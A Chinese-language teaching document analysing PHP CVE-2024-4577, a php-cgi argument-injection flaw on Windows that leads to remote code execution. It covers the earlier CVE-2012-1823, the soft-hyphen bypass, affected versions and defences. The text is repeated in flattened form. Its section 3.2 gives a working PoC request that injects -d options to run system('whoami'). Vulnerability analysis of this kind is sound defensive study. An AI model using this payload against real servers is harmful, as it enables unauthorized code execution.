PHP-RCE漏洞分析(CVE-2024-4577)教学文档

1. 漏洞概述

CVE-2024-4577是PHP在特定环境下存在的一个远程代码执行漏洞，该漏洞是对CVE-2012-1823的一种编码绕过方式。主要影响运行在Windows系统上的PHP CGI模式，特别是使用简体中文、繁体中文或日文语言环境的系统。

2. 漏洞背景

2.1 前身漏洞(CVE-2012-1823)

成因：在CGI模式下，用户请求的querystring被作为php-cgi的参数传递给php-cgi.exe并成功解析执行
关键点：攻击者可以通过构造特殊查询参数直接向php-cgi传递命令行参数

2.2 php-cgi.exe关键参数

参数	功能描述
-c	指定php.ini文件的位置
-n	不要加载php.ini文件
-d	指定配置项
-b	启动fastcgi进程
-s	显示文件源码
-T	执行指定次该文件
-h/-?	显示帮助

3. 漏洞利用原理

3.1 原始利用方式

通过URL编码传递PHP配置参数：

%3D 对应 =
%3A 对应 :

关键配置组合：

-d allow_url_include=on - 允许在include等函数中使用URL作为文件名
-d auto_prepend_file=php://input - 指定包含的php脚本为POST输入数据

3.2 原始PoC

POST /index.php?-d+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input HTTP/1.1
Host: xxxxx.com
Content-Length: 25

<?php system("whoami");?>

3.3 补丁绕过机制

官方补丁过滤了"-"字符，但新漏洞利用宽字节编码绕过：

在中文GBK编码中，%ad可被解释为-
仅影响简体中文、繁体中文、日文Windows系统，因为这些系统支持bestfit936 GBK编码

4. 受影响环境

4.1 系统要求

简体中文、繁体中文或日文Windows系统
支持bestfit936 GBK编码

4.2 PHP版本

PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

4.3 运行环境

CGI模式(单PHP环境)
phpstudy集成环境不受影响(无漏洞版本)

5. 漏洞利用条件

目标系统为特定语言版本的Windows
PHP运行在CGI模式下
PHP版本在受影响范围内
未应用最新安全补丁

6. 防御措施

升级到安全版本：
- PHP 8.3.8+
- PHP 8.2.20+
- PHP 8.1.29+
避免在Windows生产环境中使用PHP CGI模式
对输入参数进行严格过滤，特别是特殊字符和编码
在Web服务器配置中限制可传递的PHP参数

7. 技术总结

该漏洞是参数注入类漏洞，利用编码特性绕过过滤
依赖特定语言环境的编码转换特性
利用条件较为苛刻，但一旦满足条件可导致严重RCE
再次证明了输入验证和编码处理在Web安全中的重要性

PHP-RCE漏洞分析(CVE-2024-4577)教学文档 1. 漏洞概述 CVE-2024-4577是PHP在特定环境下存在的一个远程代码执行漏洞，该漏洞是对CVE-2012-1823的一种编码绕过方式。主要影响运行在Windows系统上的PHP CGI模式，特别是使用简体中文、繁体中文或日文语言环境的系统。 2. 漏洞背景 2.1 前身漏洞(CVE-2012-1823) 成因：在CGI模式下，用户请求的querystring被作为php-cgi的参数传递给php-cgi.exe并成功解析执行关键点：攻击者可以通过构造特殊查询参数直接向php-cgi传递命令行参数 2.2 php-cgi.exe关键参数 | 参数 | 功能描述 | |------|----------| | -c | 指定php.ini文件的位置 | | -n | 不要加载php.ini文件 | | -d | 指定配置项 | | -b | 启动fastcgi进程 | | -s | 显示文件源码 | | -T | 执行指定次该文件 | | -h/-? | 显示帮助 | 3. 漏洞利用原理 3.1 原始利用方式通过URL编码传递PHP配置参数： %3D 对应 = %3A 对应 : 关键配置组合： -d allow_url_include=on - 允许在include等函数中使用URL作为文件名 -d auto_prepend_file=php://input - 指定包含的php脚本为POST输入数据 3.2 原始PoC 3.3 补丁绕过机制官方补丁过滤了"-"字符，但新漏洞利用宽字节编码绕过：在中文GBK编码中， %ad 可被解释为 - 仅影响简体中文、繁体中文、日文Windows系统，因为这些系统支持bestfit936 GBK编码 4. 受影响环境 4.1 系统要求简体中文、繁体中文或日文Windows系统支持bestfit936 GBK编码 4.2 PHP版本 PHP 8.3 < 8.3.8 PHP 8.2 < 8.2.20 PHP 8.1 < 8.1.29 4.3 运行环境 CGI模式(单PHP环境) phpstudy集成环境不受影响(无漏洞版本) 5. 漏洞利用条件目标系统为特定语言版本的Windows PHP运行在CGI模式下 PHP版本在受影响范围内未应用最新安全补丁 6. 防御措施升级到安全版本： PHP 8.3.8+ PHP 8.2.20+ PHP 8.1.29+ 避免在Windows生产环境中使用PHP CGI模式对输入参数进行严格过滤，特别是特殊字符和编码在Web服务器配置中限制可传递的PHP参数 7. 技术总结该漏洞是参数注入类漏洞，利用编码特性绕过过滤依赖特定语言环境的编码转换特性利用条件较为苛刻，但一旦满足条件可导致严重RCE 再次证明了输入验证和编码处理在Web安全中的重要性